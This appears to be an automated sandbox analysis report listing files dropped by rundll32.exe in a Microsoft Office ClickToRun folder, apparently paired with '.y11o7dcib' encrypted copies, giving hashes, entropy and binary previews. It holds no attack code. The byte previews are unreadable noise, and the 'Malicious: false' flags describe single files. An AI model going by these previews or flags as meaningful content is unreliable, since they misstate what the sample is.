SHA-512:	1738438C391498FD0842B1593974C7B6A612249E27BB789BBA59D109161457A2FCA6A4F647DBA0B0BDCDE0295A067CA4B7F5F657B4336024CDD59D413332884D
Malicious:	false
Preview:	..t#/.7.\|{{C0...e3......>.n..C.I.!.k.@...s.h..>m].\|.y.tt.%z.........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........Y..#,.7.x{{C.Z.. 3..,...`;..C.I.!..K...s.h.0>m].\|.y.ttM5z..................................P......).....`.........................................`....%...........@...............0...<..Y..#,.7.xk{C.Z.Le3.....>.n..C.I.!.k.@...s.h..>m].\|.y.ttM%z..........................rdata...&.......(..................@..@.rsrc........@.......,..............@..@........................Y..#,.7.x{{C.Z.Le3.....>.n..C.I.!.k.@...s.h..>m].\|.y.ttM%z.................................................................................................................................Y..#,.7.x{{C.Z.Le3.....>.n..C.I.!.k.@...s.h..>m].\|.y.ttM%z.................................................................................................................................Y..#,.7.x{{C.Z.Le3.....>.n..C.I.!.k.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-math-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	28154
Entropy (8bit):	7.246328553791568
Encrypted:	false
SSDEEP:	384:iDrBOM4FWghtD2xQhvmYgQhWG9clWnfBr/jPtyw0njwnOwwEuPlQkOFjM:iHBOMw6xQ7XglWJXtAn+PuCy
MD5:	B5B4477A98C293C885C889B5775DC1EC
SHA1:	C79B1534C91F6064D5818206CBD5C9257A5446AE
SHA-256:	09A4391473E3FF06E19760CC59C263D3949D6A4692A89672B700DCEE71AF2A6C
SHA-512:	1738438C391498FD0842B1593974C7B6A612249E27BB789BBA59D109161457A2FCA6A4F647DBA0B0BDCDE0295A067CA4B7F5F657B4336024CDD59D413332884D
Malicious:	false
Preview:	..t#/.7.\|{{C0...e3......>.n..C.I.!.k.@...s.h..>m].\|.y.tt.%z.........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........Y..#,.7.x{{C.Z.. 3..,...`;..C.I.!..K...s.h.0>m].\|.y.ttM5z..................................P......).....`.........................................`....%...........@...............0...<..Y..#,.7.xk{C.Z.Le3.....>.n..C.I.!.k.@...s.h..>m].\|.y.ttM%z..........................rdata...&.......(..................@..@.rsrc........@.......,..............@..@........................Y..#,.7.x{{C.Z.Le3.....>.n..C.I.!.k.@...s.h..>m].\|.y.ttM%z.................................................................................................................................Y..#,.7.x{{C.Z.Le3.....>.n..C.I.!.k.@...s.h..>m].\|.y.ttM%z.................................................................................................................................Y..#,.7.x{{C.Z.Le3.....>.n..C.I.!.k.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	27130
Entropy (8bit):	7.274358442116785
Encrypted:	false
SSDEEP:	384:QrilG5awWzmIjJI6zLCc2G3tz7XmWdIWqgi/gIo1NBYvyEPefZOZFoWatOX:QrqG5kmIjJI6zmSmvFGROv0OX
MD5:	A30BA3911536BE2107E676E1683306CB
SHA1:	CFA482DFD1E411003E4C93E234BD1545D2614DE0
SHA-256:	9128706651ADD32EB1413B8219C01B939D09D4E328D73EC3FED6EAD0C3F3C047
SHA-512:	1E9588DA905745E43076381BECE2FD3CC12224D35562D169B65E4C1984E2C39EEBB6145B468D6350D03C847B61A6D47B3409C01B09B91BDC33A70D3B83CEB84E
Malicious:	false
Preview:	.N!-c..B...?. o.\_j...pX4...w(d=Y._.."......qf..4y..~Q.l.?.........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S.............-`..F..... o..\_.`...H.a...w(d=YX_.. ......Yf..4y..~Q.?..................................P.......!....`.........................................`.... ...........@...............,...<.....-`..F..... oR.\_j....pX4...w(d=Y._.."......qf..4y..~Q.?..........................rdata...".......$..................@..@.rsrc........@.......(..............@..@...........................-`..F..... oR.\_j....pX4...w(d=Y._.."......qf..4y..~Q.?....................................................................................................................................-`..F..... oR.\_j....pX4...w(d=Y._.."......qf..4y..~Q.?....................................................................................................................................-`..F..... oR.\_j....pX4...w(d=Y._.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-multibyte-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	27130
Entropy (8bit):	7.274358442116785
Encrypted:	false
SSDEEP:	384:QrilG5awWzmIjJI6zLCc2G3tz7XmWdIWqgi/gIo1NBYvyEPefZOZFoWatOX:QrqG5kmIjJI6zmSmvFGROv0OX
MD5:	A30BA3911536BE2107E676E1683306CB
SHA1:	CFA482DFD1E411003E4C93E234BD1545D2614DE0
SHA-256:	9128706651ADD32EB1413B8219C01B939D09D4E328D73EC3FED6EAD0C3F3C047
SHA-512:	1E9588DA905745E43076381BECE2FD3CC12224D35562D169B65E4C1984E2C39EEBB6145B468D6350D03C847B61A6D47B3409C01B09B91BDC33A70D3B83CEB84E
Malicious:	false
Preview:	.N!-c..B...?. o.\_j...pX4...w(d=Y._.."......qf..4y..~Q.l.?.........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S.............-`..F..... o..\_.`...H.a...w(d=YX_.. ......Yf..4y..~Q.?..................................P.......!....`.........................................`.... ...........@...............,...<.....-`..F..... oR.\_j....pX4...w(d=Y._.."......qf..4y..~Q.?..........................rdata...".......$..................@..@.rsrc........@.......(..............@..@...........................-`..F..... oR.\_j....pX4...w(d=Y._.."......qf..4y..~Q.?....................................................................................................................................-`..F..... oR.\_j....pX4...w(d=Y._.."......qf..4y..~Q.?....................................................................................................................................-`..F..... oR.\_j....pX4...w(d=Y._.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-private-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	71162
Entropy (8bit):	6.866262512344722
Encrypted:	false
SSDEEP:	1536:tbc66y587W4bFx2yCcvxkWpD+p33QkZngYV0fkFSct:yW4bFx2yCcvxkWpD+p33QkZngYCssct
MD5:	369394299029D460F8AAC82149DB984D
SHA1:	0CB6BD1679B2BB683BD215B65BD97599D45B2658
SHA-256:	207FA67E2EF4C3FD367D370611DC86B54BBDE4B62C09FE95DDE513E0D4540F72
SHA-512:	6CA5550478177228EFF8C17955E4C99040C9BEABA56BF5648DC4B7CCA66F4FA0D95694896240359C674A1033AF1ECCDDB922F9B9BBCB99165FCB89A8A87F31C7
Malicious:	false
Preview:	l..G3.8.O.X......^.\.(..ZDh...p.E....2a>]&....iY.b..y0x.w..........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........!B.G0.8.K.X.#..?.^.8l*..b.=...p.E.o...0m4]&.....iY.b..y0xCg................................................`.........................................`....................................<..!B.G0.8.K.X....o.^.\.(..ZDh...p.E....2a>]&....iY.b..y0xCw...........................rdata..............................@..@.rsrc...............................@..@........................!B.G0.8.K.X.#..o.^.\.(..ZDh...p.E....2a>]&....iY.b..y0xCw..................................................................................................................................!B.G0.8.K.X.#..o.^.\.(..ZDh...p.E....2a>]&....iY.b..y0xCw..................................................................................................................................!B.G0.8.K.X.#..o.^.\.(..ZDh...p.E....

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-private-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	71162
Entropy (8bit):	6.866262512344722
Encrypted:	false
SSDEEP:	1536:tbc66y587W4bFx2yCcvxkWpD+p33QkZngYV0fkFSct:yW4bFx2yCcvxkWpD+p33QkZngYCssct
MD5:	369394299029D460F8AAC82149DB984D
SHA1:	0CB6BD1679B2BB683BD215B65BD97599D45B2658
SHA-256:	207FA67E2EF4C3FD367D370611DC86B54BBDE4B62C09FE95DDE513E0D4540F72
SHA-512:	6CA5550478177228EFF8C17955E4C99040C9BEABA56BF5648DC4B7CCA66F4FA0D95694896240359C674A1033AF1ECCDDB922F9B9BBCB99165FCB89A8A87F31C7
Malicious:	false
Preview:	l..G3.8.O.X......^.\.(..ZDh...p.E....2a>]&....iY.b..y0x.w..........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........!B.G0.8.K.X.#..?.^.8l*..b.=...p.E.o...0m4]&.....iY.b..y0xCg................................................`.........................................`....................................<..!B.G0.8.K.X....o.^.\.(..ZDh...p.E....2a>]&....iY.b..y0xCw...........................rdata..............................@..@.rsrc...............................@..@........................!B.G0.8.K.X.#..o.^.\.(..ZDh...p.E....2a>]&....iY.b..y0xCw..................................................................................................................................!B.G0.8.K.X.#..o.^.\.(..ZDh...p.E....2a>]&....iY.b..y0xCw..................................................................................................................................!B.G0.8.K.X.#..o.^.\.(..ZDh...p.E....

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19962
Entropy (8bit):	7.466654812000517
Encrypted:	false
SSDEEP:	384:4polMFWyqgaMGbjVarqgKftNnDwx8BCYWhJarev/9u:4OlMXqr/crMK8hWKrGA
MD5:	3A7462B70E9A3A122B3F3EFD7AA53AB9
SHA1:	6FF750A0B94B4515F0D5271F032DF1B78B04F68C
SHA-256:	63D3B4D4D33EF30267343750BED9F84C267DC9856CC53B6CA6425CE3DF0B540E
SHA-512:	BA4DC86F06CC5B92C978B7279BEB6249F61F5F33DC8D3E2CDB5C9B973B91EECFFC1C25C7FED0807DFEBB041A41F622AE966FA759EAA069F6A9EA299EC07C8D93
Malicious:	false
Preview:	ZH....J.C.m?.OR....o..,.Z.6......MT^..0...#.@J.C{.6..D\|OA...n.........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S............{...J.G.m?.JOR.......X7.@6......M.^..;...#.@J.O{.6..D\|OA.2.n..................................0............`.........................................`...x............ ...................<....{...J.G.m?!JOR....o..l.Z.6......MT^..0...#.@J.C{.6..D\|OA.2.n..........................rdata..............................@..@.rsrc........ ......................@..@..........................{...J.G.m?.JOR....o..l.Z.6......MT^..0...#.@J.C{.6..D\|OA.2.n...................................................................................................................................{...J.G.m?.JOR....o..l.Z.6......MT^..0...#.@J.C{.6..D\|OA.2.n...................................................................................................................................{...J.G.m?.JOR....o..l.Z.6......MT^..

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-process-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19962
Entropy (8bit):	7.466654812000517
Encrypted:	false
SSDEEP:	384:4polMFWyqgaMGbjVarqgKftNnDwx8BCYWhJarev/9u:4OlMXqr/crMK8hWKrGA
MD5:	3A7462B70E9A3A122B3F3EFD7AA53AB9
SHA1:	6FF750A0B94B4515F0D5271F032DF1B78B04F68C
SHA-256:	63D3B4D4D33EF30267343750BED9F84C267DC9856CC53B6CA6425CE3DF0B540E
SHA-512:	BA4DC86F06CC5B92C978B7279BEB6249F61F5F33DC8D3E2CDB5C9B973B91EECFFC1C25C7FED0807DFEBB041A41F622AE966FA759EAA069F6A9EA299EC07C8D93
Malicious:	false
Preview:	ZH....J.C.m?.OR....o..,.Z.6......MT^..0...#.@J.C{.6..D\|OA...n.........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S............{...J.G.m?.JOR.......X7.@6......M.^..;...#.@J.O{.6..D\|OA.2.n..................................0............`.........................................`...x............ ...................<....{...J.G.m?!JOR....o..l.Z.6......MT^..0...#.@J.C{.6..D\|OA.2.n..........................rdata..............................@..@.rsrc........ ......................@..@..........................{...J.G.m?.JOR....o..l.Z.6......MT^..0...#.@J.C{.6..D\|OA.2.n...................................................................................................................................{...J.G.m?.JOR....o..l.Z.6......MT^..0...#.@J.C{.6..D\|OA.2.n...................................................................................................................................{...J.G.m?.JOR....o..l.Z.6......MT^..

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	23546
Entropy (8bit):	7.379575978187379
Encrypted:	false
SSDEEP:	384:a7bRrqnQr+hWuCAJDfdHvjFH5CsszodgqZ5dROQH:a71rqnQ+wALhE4gq+Q
MD5:	E95ABBF2CBD7B8C308FC84684184F7AF
SHA1:	045E37761994DC8A68C921BBF25928165B3846F6
SHA-256:	3BC901D7349F93DC1B8BDF67CEA5507CDBC5CD708428CCCAE536A9535B873869
SHA-512:	E7807A752DBBED251060272501D005E2F537BF71E9CCF32D5DFA2F22474CB7E3CB84E0C2A28A5C900120EDD02B2CDA34D66FD4259CAF9FDEA93558BAF45FD2A9
Malicious:	false
Preview:	...T.....".W.. M%...x..I..E.].3[...>..5.....=.H.J.m. _............!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S...........Au..T....."T...DeM%c..x..0...E.].3[&.$.5..?.....=.H.J.m. _.....................................@.......8....`.........................................`...4............0...................<...Au..T....."l.... M%...x..I..E.].3[...>..5.....=.H.J.m. _.............................rdata..H...........................@..@.rsrc........0......................@..@.........................Au..T....."T.... M%...x..I..E.].3[...>..5.....=.H.J.m. _.....................................................................................................................................Au..T....."T.... M%...x..I..E.].3[...>..5.....=.H.J.m. _.....................................................................................................................................Au..T....."T.... M%...x..I..E.].3[...

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-runtime-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	23546
Entropy (8bit):	7.379575978187379
Encrypted:	false
SSDEEP:	384:a7bRrqnQr+hWuCAJDfdHvjFH5CsszodgqZ5dROQH:a71rqnQ+wALhE4gq+Q
MD5:	E95ABBF2CBD7B8C308FC84684184F7AF
SHA1:	045E37761994DC8A68C921BBF25928165B3846F6
SHA-256:	3BC901D7349F93DC1B8BDF67CEA5507CDBC5CD708428CCCAE536A9535B873869
SHA-512:	E7807A752DBBED251060272501D005E2F537BF71E9CCF32D5DFA2F22474CB7E3CB84E0C2A28A5C900120EDD02B2CDA34D66FD4259CAF9FDEA93558BAF45FD2A9
Malicious:	false
Preview:	...T.....".W.. M%...x..I..E.].3[...>..5.....=.H.J.m. _............!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S...........Au..T....."T...DeM%c..x..0...E.].3[&.$.5..?.....=.H.J.m. _.....................................@.......8....`.........................................`...4............0...................<...Au..T....."l.... M%...x..I..E.].3[...>..5.....=.H.J.m. _.............................rdata..H...........................@..@.rsrc........0......................@..@.........................Au..T....."T.... M%...x..I..E.].3[...>..5.....=.H.J.m. _.....................................................................................................................................Au..T....."T.... M%...x..I..E.].3[...>..5.....=.H.J.m. _.....................................................................................................................................Au..T....."T.... M%...x..I..E.].3[...

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25082
Entropy (8bit):	7.343319324655368
Encrypted:	false
SSDEEP:	384:e1VXOeKtR8md4hWKGmUfFLnjlR3E77Yy+qeO9m0WwE:GVXtw5KFURdSTht9mCE
MD5:	CB6EC7B6A7C8451ABF7B9B1261FCA2E5
SHA1:	0936FD15D71579503EBF94DFA24756E35D860E2B
SHA-256:	431C5A467E08028025D5D9A6184522006F2BFEC5B733FFAB415EE5F852DC1E17
SHA-512:	0A2B295E9EFE6F158F5CD5981557A0A87088CEF9D0D5D331AEC46DEEE221E1D9103C81524B2094E14E66425720BE6E30D7D851BFA4ED802FC050A2D8473BE222
Malicious:	false
Preview:	...C=f..&../.7.......]..o...$l.r..[...d.....D..P.s..9.E.=........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........I.O.@=f..&..G.7.E.....]...:...$l.r..y...h...*.D..P.s..9HU.=.................................@.......>....`.........................................`...a............0...............$...<..I.O.@=f..6....7U......]...o...$l.r..[...d.....D..P.s..9HE.=.........................rdata..t...........................@..@.rsrc........0....... ..............@..@........................I.O.@=f..&..G.7U......]...o...$l.r..[...d.....D..P.s..9HE.=................................................................................................................................I.O.@=f..&..G.7U......]...o...$l.r..[...d.....D..P.s..9HE.=................................................................................................................................I.O.@=f..&..G.7U......]...o...$l.r..[.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-stdio-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25082
Entropy (8bit):	7.343319324655368
Encrypted:	false
SSDEEP:	384:e1VXOeKtR8md4hWKGmUfFLnjlR3E77Yy+qeO9m0WwE:GVXtw5KFURdSTht9mCE
MD5:	CB6EC7B6A7C8451ABF7B9B1261FCA2E5
SHA1:	0936FD15D71579503EBF94DFA24756E35D860E2B
SHA-256:	431C5A467E08028025D5D9A6184522006F2BFEC5B733FFAB415EE5F852DC1E17
SHA-512:	0A2B295E9EFE6F158F5CD5981557A0A87088CEF9D0D5D331AEC46DEEE221E1D9103C81524B2094E14E66425720BE6E30D7D851BFA4ED802FC050A2D8473BE222
Malicious:	false
Preview:	...C=f..&../.7.......]..o...$l.r..[...d.....D..P.s..9.E.=........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........I.O.@=f..&..G.7.E.....]...:...$l.r..y...h...*.D..P.s..9HU.=.................................@.......>....`.........................................`...a............0...............$...<..I.O.@=f..6....7U......]...o...$l.r..[...d.....D..P.s..9HE.=.........................rdata..t...........................@..@.rsrc........0....... ..............@..@........................I.O.@=f..&..G.7U......]...o...$l.r..[...d.....D..P.s..9HE.=................................................................................................................................I.O.@=f..&..G.7U......]...o...$l.r..[...d.....D..P.s..9HE.=................................................................................................................................I.O.@=f..&..G.7U......]...o...$l.r..[.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25082
Entropy (8bit):	7.359866832518982
Encrypted:	false
SSDEEP:	384:aCdTfiG7QgxnA71HMlY53uhW8lxwZMfZsMjIQpOYeX5vxqAgSZNCt2:dxfiG7QgxnA7JRU9ls33lKSZNn
MD5:	8DFF64AA3B84776BFB34ECB3011FA39C
SHA1:	DF08DB8F56DAF16BD241C8E5D16C4901FCDF5978
SHA-256:	78AA9F8C1127D5C6950CE5185F2A11AADEA94DF682726D8D70C66408634B65C0
SHA-512:	DD954AF2E24F0489B4869365516DD68D6A6B32B99930BBD7E516A4B59E4C2753336C2664DC4E1AC4B3891731D3B885BF4475A285A24FA1E275842A2343B4A513
Malicious:	false
Preview:	b...5....n...:.Z}~V......)..)^.(...$6Z..#..j.C......o..............!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S........../.}.6....n...P:.8~Vd......\|..)^.(...$.z../..j.C......o.......................................@.......3....`.........................................`................0...............$...<../.}.6....~..5P:..}~V......)..)^.(...$6Z..#..j.C......o...............................rdata..............................@..@.rsrc........0....... ..............@..@......................../.}.6....n...P:..}~V......)..)^.(...$6Z..#..j.C......o....................................................................................................................................../.}.6....n...P:..}~V......)..)^.(...$6Z..#..j.C......o....................................................................................................................................../.}.6....n...P:..}~V......)..)^.(...$6Z

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-string-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25082
Entropy (8bit):	7.359866832518982
Encrypted:	false
SSDEEP:	384:aCdTfiG7QgxnA71HMlY53uhW8lxwZMfZsMjIQpOYeX5vxqAgSZNCt2:dxfiG7QgxnA7JRU9ls33lKSZNn
MD5:	8DFF64AA3B84776BFB34ECB3011FA39C
SHA1:	DF08DB8F56DAF16BD241C8E5D16C4901FCDF5978
SHA-256:	78AA9F8C1127D5C6950CE5185F2A11AADEA94DF682726D8D70C66408634B65C0
SHA-512:	DD954AF2E24F0489B4869365516DD68D6A6B32B99930BBD7E516A4B59E4C2753336C2664DC4E1AC4B3891731D3B885BF4475A285A24FA1E275842A2343B4A513
Malicious:	false
Preview:	b...5....n...:.Z}~V......)..)^.(...$6Z..#..j.C......o..............!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S........../.}.6....n...P:.8~Vd......\|..)^.(...$.z../..j.C......o.......................................@.......3....`.........................................`................0...............$...<../.}.6....~..5P:..}~V......)..)^.(...$6Z..#..j.C......o...............................rdata..............................@..@.rsrc........0....... ..............@..@......................../.}.6....n...P:..}~V......)..)^.(...$6Z..#..j.C......o....................................................................................................................................../.}.6....n...P:..}~V......)..)^.(...$6Z..#..j.C......o....................................................................................................................................../.}.6....n...P:..}~V......)..)^.(...$6Z

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21498
Entropy (8bit):	7.459016880876194
Encrypted:	false
SSDEEP:	384:2VallUXGzqYD1cykSoWK7VglPS56caOM/OKHFsrSyLAGH3JVjvhBrfYsY7ETjIb:2VallUXGZeykSY7SPSkT627GXnjv/Yrf
MD5:	6DAFA4D18E175CA4A38FB9A244BFAF23
SHA1:	06C6B9628E2B788DAC6D410A2AC5CEBE55E98DDD
SHA-256:	66E9F3CEF689B54C232BA608428DF5F963F6997C0EFE75F414A6A8D5BA6B33F1
SHA-512:	494E1AB27F21A86AD9DBC9B41CCC0DAFF6B7E00759202D41CC6236D8151AFB63E4B7FDB3FFE99BE5D2FB6DA173E18D975F2E798B71623426FEEF71E49351D1B3
Malicious:	false
Preview:	.N..loK.0.....Y.M..diL1DY..`.=p.....,S..!..j..,..H;...W+...........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........2.$.ooK.4...\|..M...kLE\|..`.=p.....'Q..!..j..,..H;...W...................................0......K.....`.........................................`................ ...................<..2.$.ooK.4...\|..M..diLqDY..`.=p.....,S..!..j..,..H;...W.............................rdata..............................@..@.rsrc........ ......................@..@........................2.$.ooK.4...\|..M..diLqDY..`.=p.....,S..!..j..,..H;...W....................................................................................................................................2.$.ooK.4...\|..M..diLqDY..`.=p.....,S..!..j..,..H;...W....................................................................................................................................2.$.ooK.4...\|..M..diLqDY..`.=p.....

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-time-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21498
Entropy (8bit):	7.459016880876194
Encrypted:	false
SSDEEP:	384:2VallUXGzqYD1cykSoWK7VglPS56caOM/OKHFsrSyLAGH3JVjvhBrfYsY7ETjIb:2VallUXGZeykSY7SPSkT627GXnjv/Yrf
MD5:	6DAFA4D18E175CA4A38FB9A244BFAF23
SHA1:	06C6B9628E2B788DAC6D410A2AC5CEBE55E98DDD
SHA-256:	66E9F3CEF689B54C232BA608428DF5F963F6997C0EFE75F414A6A8D5BA6B33F1
SHA-512:	494E1AB27F21A86AD9DBC9B41CCC0DAFF6B7E00759202D41CC6236D8151AFB63E4B7FDB3FFE99BE5D2FB6DA173E18D975F2E798B71623426FEEF71E49351D1B3
Malicious:	false
Preview:	.N..loK.0.....Y.M..diL1DY..`.=p.....,S..!..j..,..H;...W+...........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........2.$.ooK.4...\|..M...kLE\|..`.=p.....'Q..!..j..,..H;...W...................................0......K.....`.........................................`................ ...................<..2.$.ooK.4...\|..M..diLqDY..`.=p.....,S..!..j..,..H;...W.............................rdata..............................@..@.rsrc........ ......................@..@........................2.$.ooK.4...\|..M..diLqDY..`.=p.....,S..!..j..,..H;...W....................................................................................................................................2.$.ooK.4...\|..M..diLqDY..`.=p.....,S..!..j..,..H;...W....................................................................................................................................2.$.ooK.4...\|..M..diLqDY..`.=p.....

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19450
Entropy (8bit):	7.481312901247213
Encrypted:	false
SSDEEP:	384:iYpIZWFWl0enr3rwaxmUt8kvOtOClmhZrt9I96m:iWI7wnxFlOrt6Z
MD5:	88D0DE2ADABFF8BA84E59A86CD4F1F4E
SHA1:	8E173C599BAAF2CB7262527C0F9BDC7114D6F12E
SHA-256:	45EB1F546A5286EED2285BEB6BE9CDC83B18D4A90051486CAAC86B02FFE68514
SHA-512:	8CC94D07DD32AFCBF8E860EA870BEF3667E6CE64D99FD81C0A4A6490EB3397B5F95D2F1AD0F8B6AB3582DC7B252D59F6D43043C76B52B0E42EB339F56553EDF7
Malicious:	false
Preview:	lhy.b.z.*R.@..O.....'T3..#\.....EW.adj....\|.my..ZN......f.;...........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........!2..a.z..R.@.XO......V3.........EW.OaFJ..s.\|.my..ZN......f.....................................0............`.........................................`...^............ ...................<..!2..a.z..B.@?XO.....'T3..#\.....EW.adj....\|.my..ZN......f.............................rdata..t...........................@..@.rsrc........ ......................@..@........................!2..a.z..R.@.XO.....'T3..#\.....EW.adj....\|.my..ZN......f....................................................................................................................................!2..a.z..R.@.XO.....'T3..#\.....EW.adj....\|.my..ZN......f....................................................................................................................................!2..a.z..R.@.XO.....'T3..#\.....EW.adj

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-utility-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19450
Entropy (8bit):	7.481312901247213
Encrypted:	false
SSDEEP:	384:iYpIZWFWl0enr3rwaxmUt8kvOtOClmhZrt9I96m:iWI7wnxFlOrt6Z
MD5:	88D0DE2ADABFF8BA84E59A86CD4F1F4E
SHA1:	8E173C599BAAF2CB7262527C0F9BDC7114D6F12E
SHA-256:	45EB1F546A5286EED2285BEB6BE9CDC83B18D4A90051486CAAC86B02FFE68514
SHA-512:	8CC94D07DD32AFCBF8E860EA870BEF3667E6CE64D99FD81C0A4A6490EB3397B5F95D2F1AD0F8B6AB3582DC7B252D59F6D43043C76B52B0E42EB339F56553EDF7
Malicious:	false
Preview:	lhy.b.z.*R.@..O.....'T3..#\.....EW.adj....\|.my..ZN......f.;...........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........!2..a.z..R.@.XO......V3.........EW.OaFJ..s.\|.my..ZN......f.....................................0............`.........................................`...^............ ...................<..!2..a.z..B.@?XO.....'T3..#\.....EW.adj....\|.my..ZN......f.............................rdata..t...........................@..@.rsrc........ ......................@..@........................!2..a.z..R.@.XO.....'T3..#\.....EW.adj....\|.my..ZN......f....................................................................................................................................!2..a.z..R.@.XO.....'T3..#\.....EW.adj....\|.my..ZN......f....................................................................................................................................!2..a.z..R.@.XO.....'T3..#\.....EW.adj

C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1627970
Entropy (8bit):	6.982098594373108
Encrypted:	false
SSDEEP:	24576:eb9LU1pX2aOQpcF9okFh8H8mvuBYxkYEf1L/nuCQXDdGLelfCiB:eb94pGa7cfomh8HDWBwmZPuxDdGa1B
MD5:	3B66B37B850BF621FEC18F26EEC0A3D6
SHA1:	CE6A5F6128256C44B285AE0FFCAD8FF15773304B
SHA-256:	AA552F91CE3D0BDCEE9A1EE2C297F1303C395865CB2D35AC9711FA9F56C66894
SHA-512:	6CF18B3EC985F78E97173A50A7F2F7AC1D64D16983FD1F430B8653C93621E38F41454BA8F80E06E881236F1AAAE5D0FD9562172A12FEBBFCC531CEFD98B8CAB3
Malicious:	false
Preview:	q%...+.'.R.n..%..........R..c...R3O....v>.e_......n[...F..........!..L.!This program cannot be run in DOS mode....$.......D................7......................!..............~....'0l......`..6...T.Kp_....S.~N1........v>.e...\|3.....}F........"..................$.........@....................................Q.....`.......... ......................................l...'."...R.%...Nr..n..Z..c...}3OK...">.e_......n[..}F..Xt..(... s..8............t...............................text...6........................... ..`.rdata..........................<...+.g.6...r.%L.........RS.c...R3O....6>.q...l..."...}.......................@..@.rsrc.... ...p...0...P..............@..@.reloc..h/.......0..................@..B........................<....+.'.R.r.%..........R..c...R3O....v>.e_......n[..}F..................................................................................................................................<....+.'.R.r.%..........R..c...R3O

C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe.y11o7dcib (copy)

Download File
